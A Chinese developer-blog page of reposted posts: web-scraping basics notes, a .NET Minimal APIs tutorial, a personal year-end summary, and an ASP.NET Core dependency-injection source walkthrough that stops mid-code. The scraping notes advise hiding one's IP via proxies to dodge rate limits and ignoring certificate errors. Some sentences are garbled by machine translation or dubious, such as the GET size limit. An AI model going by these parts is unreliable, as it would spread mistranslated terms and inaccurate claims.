开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

《 Python3 网络爬虫开发实战》学习笔记1-爬虫基础

发表于 2021-11-30

​

本记录将按照本人的学习进程,将学习过程中遇到的问题和重难点如实记录下来,一个是巩固自身所学,另一个也希望能对后来人有所帮助。

第1章开发环境配置

这里不做过多的叙述,环境配置是每一个学习编程的人都应掌握的基本功,遇到的时候自行百度即可,如果有书的同学也可看书解决,书中写得很详细了。

第2章爬虫基础

这章是本节笔记的重点内容,包括以下内容:

其中HTTP相关内容可以参考我另一篇计算机网络相关的博客。

2.1 HTTP基本原理

2.1.1 URI和URL

URI:Uniform Resource Identifiers,统一资源标识符

URL :Uniform Resource Locator,统一资源定位符

URN:Uniform Resource Name,统一资源名称

URL是URI的子集,URI包括URL和URN,URL与URN有交集,简单的理解,网站的链接,网页上图片的链接,都是URL,而URN用得很少,知道有这么个东西就够了。

2.1.2超文本

超文本:英文名为超文本,例如网页的源代码的HTML就可以称为超文本。

在铬浏览器里面打开任意一个页面,右击空白处,选择“检查”(或者直接按下F12),即可打开浏览器的开发者工具,在元素选项卡即可看到当前网页的源代码,这些源代码都是超文本。

2.1.3 HTTP和HTTPS

URL以HTTP,HTTPS,FTP,SFTP,SMB开头,这些都是协议。而HTTP是用于从网络传输超文本数据到本地浏览器的协议,它能保证高效而准确地传送超文本文档。目前广泛使用的是HTTP 1.1版本。

HTTPS的全称是超文本传输​​协议安全套接字层的英文以安全为目标的HTTP通道,简单讲就是HTTP的安全版,即HTTP下加入SSL层,简称为HTTPS。

某些网站虽然使用了HTTPS协议,但还是会被浏览器提示不安全,如在Chrome浏览器中打开12306,链接为:https://www.12306.cn/,这时浏览器就会提示“…

原因:12306的CA证书是中国铁道部自行签发的,不被CA机构信任,因此这里的证书验证就不会被通过而提示不安全,但实际上它的数据传输依然的英文经过SSL加密的如果。要爬取这样的站点,就需要设置忽略证书的选项,否则会提示SSL链接错误。

2.1.4 HTTP请求过程

客户端向服务器发送请求,服务器接收到请求之后,进行处理和解析,然后返回对应的响应,接着传回给浏览器。

响应里面包含了页面的源代码等内容,浏览器再对其进行解析,便将网页呈现了出来。

2.1.5请求

1.请求方法

常见的钱请求方法:GET和POST,区别:

  • GET请求中的参数包含在URL里面,数据可以在URL中看到,而POST请求的URL不会包含这些数据,数据都是通过表单的形式传输的,会包含在请求体中。
  • GET请求提交的数据最多只有1024字节,而POST方式没有限制。

请求的网址

即URL。

请求头

比较重要的有饼干,引用站点,用户代理等。

在写爬虫时,大部分情况下都需要设定请求头。

请求体

请求体一般承载的内容是POST请求中的表单数据,而对于GET请求,请求体则为空。

注意内容类型和POST提交数据方式的关系。在爬虫中,如果要构造POST请求,需要使用正确的内容类型,并了解各种请求库的各个参数设置时使用的是哪种内容类型,不然会导致POST提交之后无法正常响应。

2.1.6响应

1.响应状态码(Response Status Code)

表示服务器的状态,如200代表服务器正常响应,404代表页面没有找到,500代表服务器内部发生错误。

2.响应头(Response Headers)

包含了服务器对请求的应答信息,如内容类型,服务器,设置Cookie等。

3.响应体(Response Body)

响应的正文数据都在响应体重,比如请求网页时,它的响应体就是网页的HTML代码。我们做爬虫请求网页后,要解析的内容就是响应体。在浏览器开发者工具中点击预览,就可以看到网页的源代码,也就是响应体的内容,它是解析的目标。

在做爬虫时,我们主要通过响应体得到网页的源代码,JSON数据等,然后从中做相应内容的提取。

关于HTTP这部分的内容,可以看“图解HTTP”了解更多,迅速过一遍即可。(可以网购也可以直接看PDF版本,点此下载)

2.2网页基础

2.2.1网页的组成

  1. HTML

即超文本标记语言:超文本标记语言

我们在开发者模式中,在元素选项卡中即可看到网页的源代码。这些代码就是HTML,整个网页就是由各种标签嵌套组合而成的。 简言之,HTML定义了网页的内容和结构。

  1. CSS

全称为Cascading Style Sheets,即层叠样式表

CSS是目前唯一的网页页面排版样式标准。在网页中,一般会统一定义整个网页的样式规则,并写入CSS文件中。在HTML中,只需要链接标签即可引入写好的CSS文件,这样整个页面就会变得美观,优雅。简言之,CSS描述了网页的布局。

3.JavaScript

简称JS,是一种脚本语言.HTML和CSS配合使用,提供给用户的只是一种静态信息,缺乏交互性。我们在网页里可能会看到一些交互和动画效果,如下载进度条,提示框,轮播图等,这通常就是JavaScript的功劳。简言之,JavaScript定义了网页的行为。

2.2.2网页的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
html复制代码<!--第一个 HTML 例子 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>This is a title</title>
</head>
<body>
<div id="container">
<div class="wrapper">
<h2 class = "title">Hello World</h2>
<p class = "text">Hello, this is a paragraph.</p>
</div>
</div>
</body>
</html>

这个实例便是网页的一般结构。一个网页的标准形式是html标签内嵌套头和身体标签,头内定义网页的配置和引用,body内定义网页的正文。

2.2.3节点树及节点间的关系

在HTML中,所有标签定义的内容都是节点,它们构成了一个HTML DOM树。

DOM是W3C(万维网联盟)的标准,其全称是文档对象模型,即文档对象模型。它定义了访问HTML和XML文档的标准。而根据此标准,HTML文档中的所有内容都是节点。

2.2.4选择器

在CSS中,我们使用CSS选择器来定位节点。

三种常用的选择方式:

  • 根据id:如上例中div节点的id为容器,就可以表示为#container,其中#开头代表选择id,其后紧跟id的名称。
  • 根据类:以点(.)开头代表选择类,其后紧跟类的名称。
  • 根据标签名:例如想选择二级标题,直接用h2即可。

想学习关于HTML,CSS,JavaScript的更多知识,建议参考 W3school中的教程。

2.3爬虫的基本原理

2.3.1爬虫概述

简单来说,爬虫就是获取网页并提取和保存信息的自动化程序

1.获取网页(urllib,requests)

2.提取信息(Beautiful Soup,pyquery,lxml)

3.保存数据(TXT文本,JSON文本,【数据库】MySQL,MongoDB,【远程服务器】SFTP)

4.自动化程序

2.3.2能抓取怎样的数据

  • HTML源代码
  • JSON字符串
  • 二进制数据(图片,视频,音频)
  • CSS,JavaScript中,配置文件
  • 总而言之,只要在浏览器中可以访问,就可以将其抓取下来(基于HTTP或HTTPS协议的)

2.3.3 JavaScript渲染页面

1
2
3
4
5
6
7
8
9
10
11
12
13
html复制代码<!-- JavaScript 渲染页面例子 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>This is a title</title>
</head>
<body>
<div id="container">
</div>
</body>
<script src = "app.js"></script>
</html>

body节点里面只有一个id为container的节点,但是需要注意在body节点后引入了app.js,它负责整个网站的渲染。

对于这样的情况,我们可以分析其后台Ajax接口,也可使用Selenium,Splash这样的库来模拟JavaScript渲染。

2.4会话和Cookies

在浏览网站的过程中,我们经常会遇到需要登陆的情况,有些页面只有登陆之后才可以访问,而且登陆之后可以连续访问很多次,但是有时候过一段时间就需要重新登陆。还有一些网站,在打开浏览器的时候就自动登陆了,而且很长时间都不会失效。这里面涉及了会话(Session)和Cookies。

2.4.1静态网页和动态网页

静态网页:加载速度快,编写简单,但是存在很大的缺陷,如可维护性差,不能根据URL灵活多变地显示内容。

动态网页:可以动态解析URL中参数的变化,关联数据库并动态呈现不同的页面内容,非常灵活多变。

2.4.2无状态HTTP

HTTP协议对事务处理是没有记忆能力的。

1.会话(在服务端,用来保存用户的会话信息)

  1. Cookies(在客户端,有了Cookies,浏览器在下次访问网页时会自动附带上它发送给服务器,服务器通过识别Cookies并鉴定出是哪个用户,然后再判断用户是否是登陆状态,然后返回对应的响应。)

2.4.3常见误区

“只要关闭浏览器,会话就消失了” - (错误)

由于关闭浏览器不会导致会话被删除(因为浏览器不会在关闭前通知服务器它将要关闭),这就需要服务器为会话设置一个失效时间,当距离客户端上一次使用会话的时间超过这个时间时,服务器就可以认为这个客户端已经停止了活动。

2.5代理的基本原理

2.5.1基本原理

本机不直接向Web服务器发送请求,而是向代理服务器发出请求,请求会发送给代理服务器,然后由代理服务器再发送给Web服务器,接着由代理服务器再把Web服务器返回的响应转发给本机。

2.5.2代理的作用

  • 突破自身IP访问限制,访问一些平时不能访问的站点。
  • 访问内网资源
  • 提高访问速度
  • 隐藏真实IP

2.5.3爬虫代理

IP访问过于频繁的问题,就需要使用代理隐藏真实的IP,让服务器误以为是代理服务器在请求自己。

2.5.4代理分类

1.根据协议区分

  • FTP代理服务器(端口一般为21,2121)
  • HTTP代理服务器(8080,3128)
  • SSL / TLS代理服务器(最高支持128位加密强度,443)
  • RTSP代理(554)
  • 远程登录代理(主要用于TELENT远程控制,23)
  • POP3 / STMP(110/25)
  • SOCKS代理

2.根据匿名程度区分

  • 高度匿名代理(会将数据包原封不动地转发,服务器端看来就像一个普通的用户客户端在访问)
  • 普通匿名代理(会在数据包上做一些改动,有可能被发现这是个代理服务器,也有一定几率被追查到真实IP)
  • 透明代理(一般用于提高浏览速度)
  • 间谍代理

2.5.5常用代理设置

  • 网上的免费代理(可用的代理不多,最好使用高匿)
  • 付费代理(质量比免费代理好很多)
  • ADSL拨号(稳定性高,也是一种比较有效的解决方案)

​

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

minimal-api介绍 创建项目 运行项目 Coding

发表于 2021-11-30

Minimal APIs 是.Net 6 中新增的模板,借助 C# 10 的一些特性以最少的代码运行一个 Web 服务。本文脱离 VS 通过 VS Code,完成一个简单的 Minimal Api 项目的开发。

创建项目

新建一个文件夹,用来管理我们的项目文件,文件夹内启动命令行,通过dotnet new web创建项目。

1
2
3
4
5
6
7
复制代码Minimal
├── obj
├── Properties
├── appsettings.Development.json
├── appsettings.json
├── Minimal.csproj
└── Program.cs

运行项目

项目目录下执行dotnet run,运行项目。

1
2
3
4
5
6
7
8
9
10
11
12
yaml复制代码PS C:\Users\User01\Desktop\Minimal> dotnet run
正在生成...
info: Microsoft.Hosting.Lifetime[14]
Now listening on: https://localhost:7221
info: Microsoft.Hosting.Lifetime[14]
Now listening on: http://localhost:5252
info: Microsoft.Hosting.Lifetime[0]
Application started. Press Ctrl+C to shut down.
info: Microsoft.Hosting.Lifetime[0]
Hosting environment: Development
info: Microsoft.Hosting.Lifetime[0]
Content root path: C:\Users\User01\Desktop\Minimal\

运行效果如下:

run

Coding

builder 实例提供了 Services 属性,可以完成原本 Startup 类 ConfigureServices 方法中注册服务的工作,Configure 方法的一些 Use 操作则通过 app 来完成。

1
2
3
4
5
6
7
8
C#复制代码builder.Services.AddMemoryCache();

app.UseStaticFiles();
if (app.Environment.IsDevelopment())
{
app.UseSwagger();
app.UseSwaggerUI(c => c.SwaggerEndpoint("/swagger/v1/swagger.json", $"{builder.Environment.ApplicationName} v1"));
}

Map

builder.Build()返回的 app 实例提供了 Map、Methods、MapXXX 方法实现 HttpMethod 路由的映射。
这里只以 Get 请求为例。Map 和 MapMethods 方法提供不同的特性和参数可以代替 MapGet 方法。

1
C#复制代码app.MapGet("/", () => "Hello World!");
1
C#复制代码app.Map("/", [HttpGet] () => "Hello World!");

HttpGet 特性限定请求为 Get 请求,如果不指定则不限制请求方法,Get、Post 等方式可以请求改路由地址

1
C#复制代码app.MapMethods("/", new List<string>() { HttpMethod.Get.ToString() }, () => "Hello World!");

Application

代码内直接修改应用程序配置,如修改监听端口

1
2
3
C#复制代码app.Urls.Add("http://localhost:3000");
//app.Run();
app.Run("http://localhost:4000");

优先级 app.Run > app.Urls.Add > launchSettings

Dependency Injection

Minimal APIs 中无法使用构造函数注入,但可以通过参数方式注入并忽略 FromServices 特性。

1
2
3
4
C#复制代码app.MapGet("/info", (IWebHostEnvironment env) => new {
Time = DateTimeOffset.UtcNow,
env.EnvironmentName
});

Context

一些 Http 请求的上下文信息也可以通过参数直接指定,方法体内直接使用,代替 MVC 中的 Request 等。如:

  • HttpContext
  • HttpRequest
  • HttpResponse
  • ClaimsPrincipal
  • CancellationToken
1
2
3
4
C#复制代码app.MapGet("/context", (HttpContext httpContext) => new
{
Data = httpContext.Connection.Id
});

更多类型参考:github

Responses

通过静态类 Results 返回标准的相应类型,实现和 ControllerBase 提供对应方法相同的效果。

1
2
3
4
C#复制代码app.MapGet("/ok/{id}", (int id) =>
{
return Results.Ok($"ok:{id}");
});

Link Generation

通过扩展方法 WithXXX 等可以对路由进行一些配置,如通过 WithName 指定名称,再通过 LinkGenerator 生产对应 Uri,避免硬编码

1
2
3
4
5
6
7
C#复制代码app.MapGet("/context", (HttpContext httpContext) => new
{
Data = httpContext.Connection.Id
}).WithName("hi");

app.MapGet("hello", (LinkGenerator linker) =>
$"The link to the hello route is {linker.GetPathByName("hi", values: null)}");

除了 WithXXX 等一些列 RoutingEndpointConvention 扩展方法外,还提供了 AuthorizationEndpointConvention 相关扩展方法 RequireAuthorization、AllowAnonymous 代替 MVC 模式中的相关特性(特性也还可以用只是多了一个支持方式)。

本文只列出 Minimal APIs 的一些简单用法,集成 Swagger 等用法内容参考:minimal-apis.github.io/hello-minim…

接口的返回状态码和类型等可以通过扩展方法 Produces 说明,如:Produces(contentType:”application/xml”); ,但是接口备注貌似还不支持,我尝试了很多方式都不能正确显示。

Code Format

Minimal APIs 上面示例存在的问题是 Program 文件中会有太多的编码,所有路由的映射和响应都在一起,虽然可以通过如下方式使用静态方法抽离响应方法,但所有的 Route Map 还是列在一起,不能像 Controller 一样分离。

1
2
3
4
5
6
7
8
9
10
11
C#复制代码var handler = new HelloHandler();

app.MapGet("/", handler.Hello);

class HelloHandler
{
public string Hello()
{
return "Hello World";
}
}

可以借助开源框架 MASA.Contrib提供的 MASA.Contrib.Service.MinimalAPIs 完成代码封装。

详细用法参考 MASA.EShop

Program.cs

1
2
3
C#复制代码var builder = WebApplication.CreateBuilder(args);
var app = builder.Services.AddServices(builder);
app.Run();

HelloService.cs

1
2
3
4
5
C#复制代码public class HelloService : ServiceBase
{
public HelloService(IServiceCollection services): base(services) =>
App.MapGet("/api/v1/helloworld", ()=>"Hello World"));
}

我们正在行动,新的框架、新的生态

我们的目标是自由的、易用的、可塑性强的、功能丰富的、健壮的。

所以我们借鉴Building blocks的设计理念,正在做一个新的框架MASA Framework,它有哪些特点呢?

  • 原生支持Dapr,且允许将Dapr替换成传统通信方式
  • 架构不限,单体应用、SOA、微服务都支持
  • 支持.Net原生框架,降低学习负担,除特定领域必须引入的概念,坚持不造新轮子
  • 丰富的生态支持,除了框架以外还有组件库、权限中心、配置中心、故障排查中心、报警中心等一系列产品
  • 核心代码库的单元测试覆盖率90%+
  • 开源、免费、社区驱动
  • 还有什么?我们在等你,一起来讨论

经过几个月的生产项目实践,已完成POC,目前正在把之前的积累重构到新的开源项目中

目前源码已开始同步到Github(文档站点在规划中,会慢慢完善起来):

MASA.BuildingBlocks

MASA.Contrib

MASA.Utils

MASA.EShop

BlazorComponent

MASA.Blazor

QQ群:7424099

masa_stack_tech_ops.png

—— END ——

作者简介

马跃: MASA技术团队成员。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

2021年度总结 时间、世界和我 关于时间 关于我和掘金 年

发表于 2021-11-30

「时光不负,创作不停,本文正在参加2021年终总结征文大赛」

简简单单的写一篇年度总结,关于时间、世界和我。

关于时间

十年生死两茫茫,不思量,自难忘, 这是时间对苏轼爱情的见证。

字字看来皆是血,十年辛苦不寻常,这是时间对曹雪芹艺术的馈赠。而亲爱的你们,十年究竟带给你们什么了呢?我想能肯定回答的小伙伴,活的一定非常有意义。

我觉得我们一生啊,不可避免的会遇到很多痛苦的回忆,有的被时间冲淡,有的刻骨铭心,但不管发生了什么,请相信时间都会抹掉那些曾经的伤痛,因为曾经痛苦的神经元会随着时间的流逝慢慢变小,这些神经元连接的突触也会随之消失,所以啊,不管遇到任何困难,大家一定要向前看啊。

关于我和掘金

2021年7月份加入掘金,因为热爱分享和热爱写作的缘故,我参与了掘金官方组织的很多活动:比如8月更文、10月的程序员小知识、11月更文等活动,我和其它的作者不同的是,我是第一次写文章,而且我当时不知道写什么,就写了个简简单单的自我介绍,因为当时的我呢,一天也写不出几个字来。

然后呢,就参加了第一个活动:8月更文。其实八月更文对我来说还是很痛苦的,因为那个时候的我的写作水平,也就一天能写几个字吧,排版也不会排,所幸认识了一个朋友,是她教我排版。

文章的内容哪里来呢?就是靠阅读,于是我翻开了我今年阅读的第一本书《深入理解java虚拟机》,因为不会写啊,就写读书笔记吧,但是我是不会随便写写的人,我要写就写硬核的,当时的我甚至没有了解过虚拟机的人,为了读懂虚拟机,我看了一本规范,就是《java虚拟机规范》,全英文,靠着谷歌硬撑。八月更文就这么简简单单的过去了,也收到了更文的奖励,感觉穿上掘金T桖的我更帅了呢。

有了8月更文的基础,写文章就不费劲了,我后来在朋友圈写道:我能从一个月写7个字,到一天写7个字,到每天都能写400多字,是掘金见证了我的成长吧。

我承认我没有高质量水平的文章,但这些文章都见证了我的成长,我没有很厉害的技术,也没有很厉害的表达能力,我就是一个普普通通的环境里成长的普普通通的普通人,但我的眼里有光,有未来,有对美好的向往和憧憬。

我曾经是希望我的文章被认可,能被很多人点赞和阅读,但是后来我看了站长的文章,想起了自己当初为什么来掘金的场景,我知道我当初来掘金是为了成长,是为了追求三项能力:基础知识、算法能力和系统思维。

基础知识就是相当于我们大脑里的地基,有的人地基好,有的人差,但没关系,这是可以弥补的,然后是算法能力,算法能力是相当于建筑的结构,知识和知识之间如何产生关联?如何相互影响,如何发挥作用?这个很不好弥补,需要大量的后天练习,技术人员能否突破技术瓶颈,很大程度上是算法能力决定的,我所说的算法能力并不单单指的是刷力扣。

最后就是系统思维,系统思维是三者里面最难培养,也是最难最复杂的思维,可以说是前两者的高度抽象,这个思维更接近于实际解决问题,比如看到一个现象,基础知识先解释,解释分析之后,算法能力出方案,最后系统思维拍官定板,有时使用一个新的技术,解决了旧的问题,但是会引入新的问题,和原来相比成本没变少,反而变高了,而改造旧的技术却不会。

我最后总结一下上面说的:基础知识教我们问题是什么,算法能力教我们问题怎么解决,只有系统思维告诉我们怎么解决是对的。

我当然是致力于写乐观、积极有正能量的技术文章,也往价值方面努力靠拢。

年终总结

我不知道今年的小伙伴们都过的怎么样,但是我希望大家都写一份年终总结,一来是对过去的回顾,二来是看看自己今年摸了多少🐟,做了哪些你觉得有意义,甚至有价值的事情,如果你的年终总结回答的是没有,那我想今年你一定过的很焦虑,和当年的我一样迷茫,可能会觉得今年算是白活了。

什么是有价值且有意义的事情呢,其实每个人看法都是不同的,《斯坦福的人生设计课》里面提到:重要的不是你想做什么,重要的是你想成为怎么样的人。你想成为怎么样的人,你想成为什么样的人,就知道什么样的事对你来说是有价值有意义的了,这个事呢不一定要非常有价值,也可以是简简单单的小事。

比如储备了一项技能,加入了掘金也是啊,认识到自己的不足,嗯。想要改变,都可以。我认为这都是有价值以及有意义的事情,我觉得赚多少钱其实不重要,重要的是开心,活的开心,如果你想躺平,那躺平也好啊,对你来说也是有意义的事情。

总结一下今年干了什么:

写作相关:

  1. 掘金专栏文章40多篇,我觉得专栏文章才是我认可的文章,别的不算。
  2. 知乎文章:18篇。
  3. 朋友圈:40多篇

阅读相关:

  1. 《狼图腾》教我要勇敢
  2. 《我的世界观》没看完
  3. 《为什么要读经典》没看完
  4. 《麦肯锡教我的思考武器》没看完
  5. 《麦肯锡教我的写作武器》没看完
  6. 《斯坦福大学人生设计课》没看完
  7. 《腾讯传》没看完
  8. 《自然哲学的数学原理》没看完

技术相关;

  1. 《深入了解java虚拟机》阅读了前4章
  2. 《Netty实战》阅读了前3章
  3. 《java并发编程》看了100页
  4. 《thinking in java》看了第一章

纪录片
《不了神话宫崎骏》教我利用时间

b站

  1. 《哈佛大学幸福课》
  2. 《90婚介所》
  3. 《英雄联盟全球总决赛》

2022年的展望

以前的我没有看过未来,每天都得过且过吧,现在的我要大胆的面向未来,迎接崭新的2022年,2022年,依然会坚持在掘金写文章,由于会考虑到文章的质量:一整年就写40篇技术文章吧。

知乎上会写10篇关于思维的文章,当然是能影响世界进程的思维,如果能把这个思维抽取出来,作用个人,达成点成就应该不难。

然后从10篇选择一篇,来写2022年的年度总结,结合实际谈谈自己在2022年的改变。

希望看我文章的小伙伴不要焦虑,我们要摒弃类比思维,要使用第一性原理来重新定义和设计我们的一生。

最后,希望我们都能在掘金沉淀、生产、分享、学习技术内容,以帮助中国年轻的开发者成长。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

AspNet Core基础篇之:依赖注入Dependenc

发表于 2021-11-30

依赖注入已经不是什么新鲜话题了,在.NET Framework时期就已经出现了各种依赖注入框架,比如:autofac、unity等。只是在.net core微软将它搬上了台面,不用再依赖第三方组件(那是不可能的)。依赖注入的概念与为什么选择使用依赖注入这里就不说了,网上搜一下就会有各种答案,今天这里的内容是看看在.net core中,简单实用的依赖注入,背后到底做了哪些操作。

创建项目

今天演示不采用asp.net core项目,而是采用.net core控制台。相对前者,后者的操作逻辑更加完整简洁。

准备接口与对象,老User了

1
2
3
4
5
6
7
8
9
10
11
12
csharp复制代码public class UserService : IUserService
{
public string getName()
{
return "my name is dotnetboy";
}
}

public interface IUserService
{
string getName();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
csharp复制代码/// <summary>
/// 入口方法
/// </summary>
/// <param name="args"></param>
public static void Main(string[] args)
{
// 1、实例化服务容器
IServiceCollection services = new ServiceCollection();
// 2、添加服务
services.AddTransient<IUserService, UserService>();
// 3、构建服务提供对象
IServiceProvider serviceProvider = services.BuildServiceProvider();
// 4、解析并获取服务对象
var service = serviceProvider.GetService<IUserService>();
// 5、调用
Console.WriteLine(service.getName());
}

1、实例化服务容器

1
ini复制代码IServiceCollection services = new ServiceCollection();

这里出现了一个新对象:IServiceCollectionService,也就是startup中的

1
arduino复制代码public void ConfigureServices(IServiceCollection services){}

F12 可以看到,IServiceCollectionService 继承了IList<ServiceDescriptor>接口,又引申出 ServiceDescriptor 对象。

1
2
3
4
5
6
kotlin复制代码//
// 摘要:
// Specifies the contract for a collection of service descriptors.
public interface IServiceCollection : IList<ServiceDescriptor>, ICollection<ServiceDescriptor>, IEnumerable<ServiceDescriptor>, IEnumerable
{
}

而 ServiceDescriptor 对象见名知意就知道是用来描述服务信息的对象了。ServiceDescriptor 对象的内容有点多,在这里我们暂时只需要了解三个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
csharp复制代码	/// <summary>
/// Describes a service with its service type, implementation, and lifetime.
/// </summary>
[DebuggerDisplay("Lifetime = {Lifetime}, ServiceType = {ServiceType}, ImplementationType = {ImplementationType}")]
public class ServiceDescriptor
{
/// 生命周期
public ServiceLifetime Lifetime { get; }

/// 服务对象
public Type ServiceType { get; }

/// 服务实现对象
public Type ImplementationType { get; }
}
  • Lifetime:生命周期
  • SericeType:服务对象
  • ImplementationType:服务实现对象

第一步内容比较简单,就是声明一个服务容器集合。我们可以把 IServiceCollection 比做成银行,把服务比喻成 RMB ,现在银行有了,我们下一步肯定就是存 RMB 进去了。

2、添加服务

上面我们提到了 ServiceDescriptor 对象的三个属性:Lifetime、ServiceType、ImplementationType。

再回过头看 services.AddTransient<IUserService, UserService>(); 这段代码

  • AddTransient 指定了 Lifetime,也就是 Transient
  • IUserService 表示 ServiceType
  • UserService 表示 ImplementationType

下面是 AddTransient 相关的源码,很是直观明了。就是将 RMB 存储银行,到底是 活期、定期还是理财就由开发者自己去定义了。

1
2
3
4
5
6
7
8
arduino复制代码public static IServiceCollection AddTransient(
this IServiceCollection services,
Type serviceType,
Type implementationType)
{
......
return Add(services, serviceType, implementationType, ServiceLifetime.Transient);
}
1
2
3
4
5
6
7
8
9
10
csharp复制代码private static IServiceCollection Add(
IServiceCollection collection,
Type serviceType,
Type implementationType,
ServiceLifetime lifetime)
{
var descriptor = new ServiceDescriptor(serviceType, implementationType, lifetime);
collection.Add(descriptor);
return collection;
}

3、构建服务提供对象

上面两步,有了银行,并且将RMB存进去了。接下来我要买包子没钱,这时候就需要将RMB再取出来。但是存的时候我是在不同的网点存的,取的时候我想在手机银行APP上取,这第三步就是为了构建手机银行APP这个角色。

1
ini复制代码IServiceProvider serviceProvider = services.BuildServiceProvider();

在这一步会引入一个新对象 ServiceProvider ,也就是给我们提供服务的对象,和 ServiceProviderEngine ,服务提供引擎,姑且这么叫吧。

1
kotlin复制代码internal class DynamicServiceProviderEngine : CompiledServiceProviderEngine : ServiceProviderEngine

仔细看下面这段源码(去除不相关部分),就是简单实例化一个 ServiceProvider 对象,ServiceProvider 对象包含一个 IServiceProviderEngine 属性,在 ServiceProvider 对象的构造函数内实例化并赋值。

1
2
3
4
5
arduino复制代码public static ServiceProvider BuildServiceProvider(this IServiceCollection services, ServiceProviderOptions options)
{
......
return new ServiceProvider(services, options);
}
1
2
3
4
5
6
7
8
9
10
11
c#复制代码private readonly IServiceProviderEngine _engine;
// serviceDescriptors:服务集合,options:服务提供者类型
internal ServiceProvider(IEnumerable<ServiceDescriptor> serviceDescriptors, ServiceProviderOptions options)
{
IServiceProviderEngineCallback callback = null;
switch (options.Mode)
{
case ServiceProviderMode.Default:
_engine = new DynamicServiceProviderEngine(serviceDescriptors, callback);
}
}

ServiceProviderEngine 对象的内容比较多,由于上面代码只做了实例化,所以我们也只看与实例化相关的构造函数代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c#复制代码internal abstract class ServiceProviderEngine : IServiceProviderEngine, IServiceScopeFactory
{
private readonly Func<Type, Func<ServiceProviderEngineScope, object>> _createServiceAccessor;
internal ConcurrentDictionary<Type, Func<ServiceProviderEngineScope, object>> RealizedServices { get; }
public ServiceProviderEngineScope Root { get; }
public IServiceScope RootScope => Root;
protected CallSiteRuntimeResolver RuntimeResolver { get; }
internal CallSiteFactory CallSiteFactory { get; }
protected ServiceProviderEngine(IEnumerable<ServiceDescriptor> serviceDescriptors, IServiceProviderEngineCallback callback)
{
_createServiceAccessor = CreateServiceAccessor;
Root = new ServiceProviderEngineScope(this);
RuntimeResolver = new CallSiteRuntimeResolver();
CallSiteFactory = new CallSiteFactory(serviceDescriptors);
CallSiteFactory.Add(typeof(IServiceProvider), new ServiceProviderCallSite());
CallSiteFactory.Add(typeof(IServiceScopeFactory), new ServiceScopeFactoryCallSite());
RealizedServices = new ConcurrentDictionary<Type,Func<ServiceProviderEngineScope, object>>();
}
}

看了上面的构造函数,哇,又多了这么多新对象,无从下手是不是。这时候我们记住一点,RMB 存到了银行,所以我们就盯着银行:ServiceDescriptor 的动静,发现银行与 CallSiteFactory 这个对象有关联,CallSiteFactory 对象实例化需要银行(serviceDescriptors)。

1
2
3
scss复制代码CallSiteFactory = new CallSiteFactory(serviceDescriptors);
CallSiteFactory.Add(typeof(IServiceProvider), new ServiceProviderCallSite());
CallSiteFactory.Add(typeof(IServiceScopeFactory), new ServiceScopeFactoryCallSite());
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
c#复制代码private readonly List<ServiceDescriptor> _descriptors;
private readonly Dictionary<Type, ServiceDescriptorCacheItem> _descriptorLookup = new Dictionary<Type, ServiceDescriptorCacheItem>();
private readonly StackGuard _stackGuard;

public CallSiteFactory(IEnumerable<ServiceDescriptor> descriptors)
{
_stackGuard = new StackGuard();
_descriptors = descriptors.ToList();
Populate();
}

private void Populate()
{
foreach (var descriptor in _descriptors)
{
var serviceTypeInfo = descriptor.ServiceType.GetTypeInfo();
......
var cacheKey = descriptor.ServiceType;
_descriptorLookup.TryGetValue(cacheKey, out var cacheItem);
_descriptorLookup[cacheKey] = cacheItem.Add(descriptor);
}
}

进入到 CallSiteFactory 对象内逻辑比较清晰,就是将我们银行内的 RMB(服务) 信息遍历并存储到相关字典集合内(_descriptorLookup),给后续逻辑提供查找验证服务。

4、获取对象

上一步手机银行App的角色已经构建好了,这一步要开始取RMB了,取RMB需要什么?密码呗,这里的密码就是 IUserService。

1
ini复制代码var service = serviceProvider.GetService<IUserService>();

我们接下来看看取钱这一步微软都做了些什么操作,就是下面这段代码了:

1
2
3
4
5
6
7
8
9
c#复制代码internal object GetService(Type serviceType, ServiceProviderEngineScope serviceProviderEngineScope)
{
......
// 已经实现的服务
var realizedService = RealizedServices.GetOrAdd(serviceType, _createServiceAccessor);
// _callback?.OnResolve(serviceType, serviceProviderEngineScope);
......
return realizedService.Invoke(serviceProviderEngineScope);
}

一眼看去,有效代码其实就一行,涉及到三个对象:RealizedServices、serviceType、_createServiceAccessor,都在上一步中出现过。

1
ini复制代码RealizedServices.GetOrAdd(serviceType, _createServiceAccessor);
1
2
c#复制代码private readonly Func<Type, Func<ServiceProviderEngineScope, object>> _createServiceAccessor = CreateServiceAccessor;
internal ConcurrentDictionary<Type, Func<ServiceProviderEngineScope, object>> RealizedServices { get; }

我们将上面的代码发散一下,CreateServiceAccessor 就成了我们要研究的重点。

1
2
c#复制代码var csa = CreateServiceAccessor(serviceType);
RealizedServices.GetOrAdd(serviceType, csa);
1
2
3
4
5
6
7
8
9
10
c#复制代码private Func<ServiceProviderEngineScope, object> CreateServiceAccessor(Type serviceType)
{
var callSite = CallSiteFactory.GetCallSite(serviceType, new CallSiteChain());
if (callSite != null)
{
......
return RealizeService(callSite);
}
return _ => null;
}

CreateServiceAccessor 方法内的有效代码是两行,我们一步步来深入:

1
arduino复制代码CallSiteFactory.GetCallSite(serviceType, new CallSiteChain());

进入到 GetCallSite 方法内部,一层层剥离

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
c#复制代码// 第一层
internal ServiceCallSite GetCallSite(Type serviceType, CallSiteChain callSiteChain)
{
return _callSiteCache.GetOrAdd(serviceType, type => CreateCallSite(type, callSiteChain));
}
// 第二层
private ServiceCallSite CreateCallSite(Type serviceType, CallSiteChain callSiteChain)
{
......
var callSite = TryCreateExact(serviceType, callSiteChain) ??
TryCreateOpenGeneric(serviceType, callSiteChain) ??
TryCreateEnumerable(serviceType, callSiteChain);
_callSiteCache[serviceType] = callSite;
return callSite;
}
// 第三层
